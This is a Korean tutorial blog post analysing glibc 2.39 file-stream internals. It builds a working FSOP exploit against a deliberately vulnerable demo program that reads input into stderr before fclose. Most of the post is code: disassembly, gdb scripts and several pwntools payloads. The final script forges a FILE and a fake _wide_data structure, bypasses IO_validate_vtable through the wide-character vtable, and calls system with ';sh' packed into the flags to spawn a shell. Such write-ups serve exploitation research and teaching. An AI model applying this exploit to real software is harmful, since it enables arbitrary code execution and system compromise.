Remind
환경
일단 glibc 2.39 버전의 source code를 분석할 것이기 때문에 아래의 사이트에서 소스코드를 다운받았다.
glibc 분석을 진행하는 것이 처음이라 실수가 많을 수 있으며, 엉뚱한 이야기가 있을 수도 있습니다. 그 부분을 감안해서 너그러이 봐주시면 감사하겠습니다.
Example code(코드 변경)
//gcc -o prob prob.c
#include <stdio.h>
int main(){
printf("stderr : %p\n", stderr);
read(0, stderr, 0x200);//sizeof(struct locked_FILE) = 0x1d8
fclose(stderr);
return 1;
}
C
복사
ASM
gef➤ disas main
Dump of assembler code for function main:
0x0000000000001189 <+0>: endbr64
0x000000000000118d <+4>: push rbp
0x000000000000118e <+5>: mov rbp,rsp
0x0000000000001191 <+8>: mov rax,QWORD PTR [rip+0x2e88] # 0x4020 <stderr@GLIBC_2.2.5>
0x0000000000001198 <+15>: mov rsi,rax
0x000000000000119b <+18>: lea rax,[rip+0xe62] # 0x2004
0x00000000000011a2 <+25>: mov rdi,rax
0x00000000000011a5 <+28>: mov eax,0x0
0x00000000000011aa <+33>: call 0x1080 <printf@plt>
0x00000000000011af <+38>: mov rax,QWORD PTR [rip+0x2e6a] # 0x4020 <stderr@GLIBC_2.2.5>
0x00000000000011b6 <+45>: mov edx,0x200
0x00000000000011bb <+50>: mov rsi,rax
0x00000000000011be <+53>: mov edi,0x0
0x00000000000011c3 <+58>: mov eax,0x0
0x00000000000011c8 <+63>: call 0x1090 <read@plt>
0x00000000000011cd <+68>: mov rax,QWORD PTR [rip+0x2e4c] # 0x4020 <stderr@GLIBC_2.2.5>
0x00000000000011d4 <+75>: mov rdi,rax
0x00000000000011d7 <+78>: call 0x1070 <fclose@plt>
0x00000000000011dc <+83>: mov eax,0x1
0x00000000000011e1 <+88>: pop rbp
0x00000000000011e2 <+89>: ret
End of assembler dump.
Assembly
복사
vtable overwrite
자 우리는 fclose를 분석하면서 fopen 통해서 return 받는 fd에 vtable을 참조해서 함수를 호출하는 것을 분석했다. 이를 역으로 이용해 vtable을 overwrite하여 원하는 함수를 실행 시켜보자
IO_validate_vtable bypass
일단 IO_validate_vtable 함수에서 overwrite한 vtable이 유효한 영역인지 확인한다.
즉 vtable의 크기만큼만 호출할 수 있다.
→ 그럼 vtable에서 호출하는 함수중에 위험한(?) 보호 매커니즘이 없는 함수를 호출하도록 변경한다면, IO_validate_vtable 함수를 우회해 vtable 내 함수를 호출하고 해당 함수가 다른 함수를 호출해, 2중으로 호출(참조?)하도록 만들면 된다.
JMP2
일단 JMP2를 간단하게 다시 보면 아래와 같이 IO_validate_vtable을 호출한다.
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))
#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
C
복사
자 그럼 JMP2와 같은 함수를 호출 할 수 있도록 해주는 _IO_CAST_FIELD_ACCESS 매크로를 사용하면서 IO_validate_vtable를 호출하지 않는 매크로를 보면 3개가 있고 그중 _IO_WIDE_JUMPS가 존재한다.
역으로 이제 쭉 따라가보자
_IO_WIDE_JUMPS
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
C
복사
_IO_WIDE_JUMPS_FUNC
_IO_WIDE_JUMPS_FUNC 매크로가 존재하고 해당 매크로를 호출하는 매크로를 찾아보자.
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
C
복사
WJUMP0~3
WJUMP0~3까지의 매크로가 존재한다.
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define WJUMP2(FUNC, THIS, X1, X2) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define WJUMP3(FUNC, THIS, X1,X2,X3) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
C
복사
이제 해당 매크로를 사용하는 부분을 다시 찾아보면 6개 정도가 나온다.
여기서 필요한 부분만 보자.
다른 매크로들은 정의만 하고 호출을 하지 않거나, 초기화 과정이 존재해서 Exploit에 활용하기 힘들다.
_IO_WDOALLOCATE
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
C
복사
자 _IO_wdoallocbuf 해당 함수를 호출하면 원하는 함수로 이동할 수 있다.
_IO_wdoallocbuf
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
C
복사
함수가 좀 길다. 일단보기 편하게 다 지우고 보면 노란줄 친 부분만 실행되면 된다.
_IO_wfile_underflow
wint_t
_IO_wfile_underflow (FILE *fp)
{
...
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);
}
/* FIXME This can/should be moved to genops ?? */
...
C
복사
일단 해당 함수로 점프할 수 있도록 분석을 진행해보자
GDB로 asm 얻기
gdb에서 아래의 gdb script를 실행해서 일단 _IO_file_jumps 영역에 존재하는 함수들의 asm을 가져온다.
set $start = (unsigned long)&_IO_file_jumps
set $end = $start+0x92f
set $offset = 0
define dump_vtable
while ($start < $end)
x/gx ($start+$offset)
set $ptr = *(unsigned long*)($start+$offset)
if ($ptr != 0)
printf "function pointer at 0x%lx(+0x%lx)\\n", $ptr, $offset
disas $ptr
printf "\\n"
end
set $offset += 8
end
end
set logging file disas_io_file_jumps.txt
set logging redirect on
set logging on
dump_vtable
set logging off
Bash
복사
disas_io_file_jumps.txt 파일에 저장되어 있으니 함수_IO_wfile_underflow 함수 이름을 검색해보면 아래랑 같이 나온다.
vtable overwrite
기존 vtable에서 +0x218 만큼 떨어져있는 걸 볼 수있다.
0x738839402248 <_IO_wfile_jumps+32>: 0x000073883928c5c0
function pointer at 0x73883928c5c0(+0x218)
Dump of assembler code for function __GI__IO_wfile_underflow:
Address range 0x73883928c5c0 to 0x73883928cc61:
C
복사
GDB로 fclose 이후를 잡고 vtable을 참조하는 순간을 잡기 위해 breakpoint를 걸어준다.
c를 눌러 실행한 뒤 실행하면서 asm을 좀 보면 r13+0x88로 함수를 호출한다.
r13는 _IO_file_jumps의 주소가 담겨있고 최종적으로 우리가 호출해야하는 함수는 _IO_file_jumps+0x218 위치다.
r13+0x88을 해서 호출함으로 덮어야할 vtable을 구하면 아래와 같다.
libc.base + libc.symbols['_IO_file_jumps'] + 0x218 - 0x88
Python
복사
_IO_wfile_underflow 호출
payload
아래의 코드로 실제로 실행되는 확인해보자.
#!/usr/bin/env python3.12
'''
author: JangJongMin
time: 2025-03-26 16:56:32
'''
from pwn import *
filename = "prob_patched"
libcname = "/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1".strip()
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
if libcname:
libc = ELF(libcname)
gs = '''
set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
set directories /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39
set $pie_base=$_base("prob_patched")
b *main+78
c
b IO_validate_vtable
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def log(str_, hex_):
success(f"{str_} : {hex(hex_)}")
def list_insert(index, data, list_):
return list_[:index] + p64(data) + list_[index+0x8:]
p = start()
s = p.send
sf = p.sendafter
sl = p.sendline
slf = p.sendlineafter
r = p.recv
ru = p.recvuntil
rl = p.recvline
ru("stderr : ")
stderr = int(rl().strip(), base=16)
libc.base = stderr - libc.symbols['_IO_2_1_stderr_']
system = libc.base + libc.symbols['system']
log("stderr_address", stderr)
log("libc.base", libc.base)
context.arch = 'amd64'
fsop = FileStructure()
fsop.flags = 0x00000000fbad2404
fsop.chain = stderr
fsop._lock = libc.base + libc.bss() + 0x1000
fsop.vtable = libc.base + libc.symbols['_IO_file_jumps'] + 0x218 - 0x88
fsop = bytes(fsop)
s(fsop)
p.interactive()
Python
복사
gdb로 실행해보면 아래처럼 된다.
si로 함수 내부로 진입해보면 _IO_wfile_jumps로 잘 이동한 것을 볼 수 있다.
이제 _IO_wfile_underflow 코드를 분석하면서 _IO_wdoallocbuf 함수를 호출할 수 있도록 만들어주자.
_IO_wfile_underflow 분석
_IO_EOF_SEEN가 off되어 있어야한다.
if (fp->_flags & _IO_EOF_SEEN)
return WEOF;
#define _IO_EOF_SEEN 0x0010
C
복사
_IO_NO_READS flag도 켜저있으면 안된다.
if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
C
복사
fp->_wide_data->_IO_read_ptr랑 fp->_wide_data->_IO_read_end에 0을 넣어줘야 return 하지 않는다.
if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
return *fp->_wide_data->_IO_read_ptr;
C
복사
해당 코드는 실행을 안해야함으로 fp->_IO_read_ptr는 1 fp->_IO_read_end는 0으로 설정한다.
if (fp->_IO_read_ptr < fp->_IO_read_end)
...
C
복사
해당 코드도 실행되면 머리 아프기 때문에 fp->_IO_buf_base에 1을 넣어준다.
if (fp->_IO_buf_base == NULL)
{
...
C
복사
자 아래의 코드는 실행이 되어야 _IO_wdoallocbuf가 호출된다.
if (fp->_wide_data->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL)
{
free (fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf (fp);
}
C
복사
아래의 조건을 만족하도록 해주면 된다.
fp->_wide_data->_IO_buf_base == NULL && fp->_wide_data->_IO_save_base != NULL
C
복사
__GI__IO_wdoallocbuf 실행
이제 GDB로 __GI__IO_wdoallocbuf가 실행되는 시점을 잡아보자.
payload
#!/usr/bin/env python3.12
'''
author: JangJongMin
time: 2025-03-26 16:56:32
'''
from pwn import *
filename = "prob_patched"
libcname = "/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1".strip()
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
if libcname:
libc = ELF(libcname)
gs = '''
set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
set directories /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39
set $pie_base=$_base("prob_patched")
b *main+78
c
b __GI__IO_wdoallocbuf
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def log(str_, hex_):
success(f"{str_} : {hex(hex_)}")
def list_insert(index, data, list_):
return list_[:index] + p64(data) + list_[index+0x8:]
p = start()
s = p.send
sf = p.sendafter
sl = p.sendline
slf = p.sendlineafter
r = p.recv
ru = p.recvuntil
rl = p.recvline
ru("stderr : ")
stderr = int(rl().strip(), base=16)
libc.base = stderr - libc.symbols['_IO_2_1_stderr_']
system = libc.base + libc.symbols['system']
log("stderr_address", stderr)
log("libc.base", libc.base)
context.arch = 'amd64'
fsop = FileStructure()
fsop.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fsop.chain = stderr
fsop._lock = libc.base + libc.bss() + 0x1000
fsop.vtable = libc.base + libc.symbols['_IO_file_jumps'] + 0x218 - 0x88
fsop._wide_data = libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 # 0xe0 -> FSOP size
fsop._IO_read_ptr = 1
fsop._IO_read_end = 0
fsop._IO_buf_base = 1
fsop._IO_save_base = 0
fsop = bytes(fsop)
# fp->_wide_data->_IO_buf_base == NULL && fp->_wide_data->_IO_save_base != NULL
fake_wide = b""
fake_wide += p64(0) #_IO_read_ptr; /* Current read pointer */
fake_wide += p64(0) #_IO_read_end; /* End of get area. */
fake_wide += p64(0) #_IO_read_base; /* Start of putback+get area. */
fake_wide += p64(0) #_IO_write_base; /* Start of put area. */
fake_wide += p64(0) #_IO_write_ptr; /* Current put pointer. */
fake_wide += p64(0) #_IO_write_end; /* End of put area. */
fake_wide += p64(0) #_IO_buf_base; /* Start of reserve area. */
fake_wide += p64(0) #_IO_buf_end; /* End of reserve area. */
fake_wide += p64(0) #_IO_save_base; /* Pointer to start of non-current get area. */
s(fsop+fake_wide)
p.interactive()
Python
복사
일단 _IO_wdoallocbuf까지는 호출했다.
_IO_WDOALLOCATE 호출
여기서도 return 되지 않도록 똑같이 코드를 분석하면서 _IO_WDOALLOCATE가 호출되도록 만들어주자.
이제 진짜 끝이다. 코드가 짧으니 바로 한번에 설명해보면
fp->_wide_data->_IO_buf_base가 0, fp->_flags & _IO_UNBUFFERED가 off 되어 있어야 한다.
_IO_wdoallocbuf 분석
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
C
복사
_IO_WDOALLOCATE 실행시점까지 어셈을보면 아래처럼 되어 있다.
disas _IO_wdoallocbuf
Dump of assembler code for function __GI__IO_wdoallocbuf:
=> 0x000071410428ae70 <+0>: endbr64
0x000071410428ae74 <+4>: mov rax,QWORD PTR [rdi+0xa0]
0x000071410428ae7b <+11>: cmp QWORD PTR [rax+0x30],0x0
0x000071410428ae80 <+16>: je 0x71410428ae88 <__GI__IO_wdoallocbuf+24>
0x000071410428ae82 <+18>: ret
0x000071410428ae83 <+19>: nop DWORD PTR [rax+rax*1+0x0]
0x000071410428ae88 <+24>: push rbp
0x000071410428ae89 <+25>: mov rbp,rsp
0x000071410428ae8c <+28>: push r13
0x000071410428ae8e <+30>: push r12
0x000071410428ae90 <+32>: push rbx
0x000071410428ae91 <+33>: mov rbx,rdi
0x000071410428ae94 <+36>: sub rsp,0x8
0x000071410428ae98 <+40>: test BYTE PTR [rdi],0x2
0x000071410428ae9b <+43>: jne 0x71410428af08 <__GI__IO_wdoallocbuf+152>
0x000071410428ae9d <+45>: mov rax,QWORD PTR [rax+0xe0]
0x000071410428aea4 <+52>: call QWORD PTR [rax+0x68]
C
복사
위에 코드에서 rax에는 _wide_data가 들어있다.
1.
mov rax,QWORD PTR [rax+0xe0]
_wide_data+0xe0 위치에 메모리 주소가 들어가 있어야 한다.
2.
call QWORD PTR [rax+0x68]
들어가 있는 메모리 주소를 참조하여 +0x68을 한다.
자 그럼 _wida_data+0xe0 위치에 pointer를 쓰고, pointer에는 system 함수를 가지고 있는 pointer를 써준다.
0xe0는 _wide_data가 가지고 있는 주소고 0x48은 앞에 fake_wide에서 필요한 데이터들 offset만큼 더한 뒤 system 함수의 주소를 가지고 있는(0x48)에 접근할 수 있도록 -0x68을 해준다.
-0x68을 하는 이유는 [rax+0x68]을 참조하기 때문에 빼준다.
payload
fake_wide = b""
fake_wide += p64(0) #_IO_read_ptr; /* Current read pointer */
fake_wide += p64(0) #_IO_read_end; /* End of get area. */
fake_wide += p64(0) #_IO_read_base; /* Start of putback+get area. */
fake_wide += p64(0) #_IO_write_base; /* Start of put area. */
fake_wide += p64(0) #_IO_write_ptr; /* Current put pointer. */
fake_wide += p64(0) #_IO_write_end; /* End of put area. */
fake_wide += p64(0) #_IO_buf_base; /* Start of reserve area. */
fake_wide += p64(0) #_IO_buf_end; /* End of reserve area. */
fake_wide += p64(0) #_IO_save_base; /* Pointer to start of non-current get area. */
fake_wide += p64(system) #libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48
fake_wide += b"\x00" * (0xe0 - len(fake_wide))
fake_wide += p64(libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 - 0x68) #vtable
Python
복사
system 호출 및 $rdi 세팅
자 이제 system을 호출할 수 있는데 $rdi 즉 첫 인자를 보면 fp가 들어간다.
*fp는 flags를 접근하니 flags에 shell의 특성을 이용하여 ;sh를 써준다.
_IO_WDOALLOCATE (fp)
C
복사
아래의 코드를 보면 ;sh를 넣는 법을 이해할 수 있다.
fsop.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fsop.flags = fsop.flags | 1 | int.from_bytes(b";sh", 'little')<<(4*8)
Python
복사
Exploit Code
#!/usr/bin/env python3.12
'''
author: JangJongMin
time: 2025-03-26 16:56:32
'''
from pwn import *
filename = "prob_patched"
libcname = "/home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6_2.39-0ubuntu8.4_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1".strip()
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'neww']
if libcname:
libc = ELF(libcname)
gs = '''
set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/libc6-dbg_2.39-0ubuntu8.4_amd64/usr/lib/debug
set directories /home/ubuntu/.config/cpwn/pkgs/2.39-0ubuntu8.4/amd64/glibc-source_2.39-0ubuntu8.4_all/usr/src/glibc/glibc-2.39
set $pie_base=$_base("prob_patched")
c
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
def log(str_, hex_):
success(f"{str_} : {hex(hex_)}")
def list_insert(index, data, list_):
return list_[:index] + p64(data) + list_[index+0x8:]
p = start()
s = p.send
sf = p.sendafter
sl = p.sendline
slf = p.sendlineafter
r = p.recv
ru = p.recvuntil
rl = p.recvline
ru("stderr : ")
stderr = int(rl().strip(), base=16)
libc.base = stderr - libc.symbols['_IO_2_1_stderr_']
system = libc.base + libc.symbols['system']
log("stderr_address", stderr)
log("libc.base", libc.base)
context.arch = 'amd64'
fsop = FileStructure()
fsop.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
fsop.flags = fsop.flags | 1 | int.from_bytes(b";sh", 'little')<<(4*8)
fsop.chain = stderr
fsop._lock = libc.base + libc.bss() + 0x1000
fsop.vtable = libc.base + libc.symbols['_IO_file_jumps'] + 0x218 - 0x88
fsop._wide_data = libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 # 0xe0 -> FSOP size
fsop._IO_buf_base = 1
fsop._IO_save_base = 0
fsop = bytes(fsop)
# fp->_wide_data->_IO_buf_base == NULL && fp->_wide_data->_IO_save_base != NULL
fake_wide = b""
fake_wide += p64(0) #_IO_read_ptr; /* Current read pointer */
fake_wide += p64(0) #_IO_read_end; /* End of get area. */
fake_wide += p64(0) #_IO_read_base; /* Start of putback+get area. */
fake_wide += p64(0) #_IO_write_base; /* Start of put area. */
fake_wide += p64(0) #_IO_write_ptr; /* Current put pointer. */
fake_wide += p64(0) #_IO_write_end; /* End of put area. */
fake_wide += p64(0) #_IO_buf_base; /* Start of reserve area. */
fake_wide += p64(0) #_IO_buf_end; /* End of reserve area. */
fake_wide += p64(0) #_IO_save_base; /* Pointer to start of non-current get area. */
fake_wide += p64(system) #libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48
fake_wide += b"\x00" * (0xe0 - len(fake_wide))
fake_wide += p64(libc.base + libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 - 0x68) #vtable
print(hex(len(fsop+fake_wide)))
s(fsop+fake_wide)
p.interactive()
Python
복사
수고하셨습니다.